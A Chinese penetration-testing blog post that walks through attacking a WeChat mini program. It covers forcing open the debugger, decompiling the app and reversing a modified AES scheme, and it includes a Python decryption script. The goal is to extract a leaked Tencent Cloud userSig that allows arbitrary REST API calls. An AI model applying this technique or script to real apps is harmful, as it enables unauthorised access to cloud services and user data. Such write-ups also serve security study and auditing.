[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用

免责声明

仅为技术交流

入口

微信小程序打点

图片[1],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网

强开F12调试

找到一个接口组成是腾讯云/userSig的标识

拼接参数发现缺少userID

图片[3],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网
图片[4],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网

拼接后发现进行了AES魔改加密

反编译小程序详细分析加密方式

图片[5],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网

编写脚本解密

import hashlib, base64, json, argparse
from Crypto.Cipher import AES

def derive_key(app_id='wx3bXXXXXXXXXXXXXX'):
    sha = hashlib.sha256(app_id.encode('utf-8')).hexdigest()
    key_str = sha[4:8] + sha[16:20] + sha[32:36] + sha[48:52]
    return key_str.encode('utf-8')

def decrypt(encrypt_data, app_id='wXXXXXXXXXXXXXXXXXXXXx'):
    iv, ct = encrypt_data.split(':', 1)
    key = derive_key(app_id)
    cipher = AES.new(key, AES.MODE_CBC, iv.encode('utf-8'))
    plaintext = cipher.decrypt(base64.b64decode(ct))
    pad_len = plaintext[-1]
    plaintext = plaintext[:-pad_len]
    return json.loads(plaintext.decode('utf-8'))

def main():
    p = argparse.ArgumentParser()
    p.add_argument('--encryptData', required=True)
    p.add_argument('--appId', default='wxXXXXXXXXXXXXXXXXXXXXXXXXXX')
    args = p.parse_args()
    obj = decrypt(args.encryptData, args.appId)
    print(json.dumps(obj, ensure_ascii=False))

if __name__ == '__main__':
    main()
图片[6],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网

运行解密的脚本

我们得出了userID userSig sdkAPPID以及 expire

图片[7],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网

根据腾讯云官方文档,

只要有sdkappid,identifier,usersig,即可调用restAPI,导致执行所有的接口服务

Identifier即为userid

即可调用以下所有接口

图片[8],[云攻防]微信小程序强开F12->反编译-js逆向到-Usersig泄露到腾讯云rest任意接口调用,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容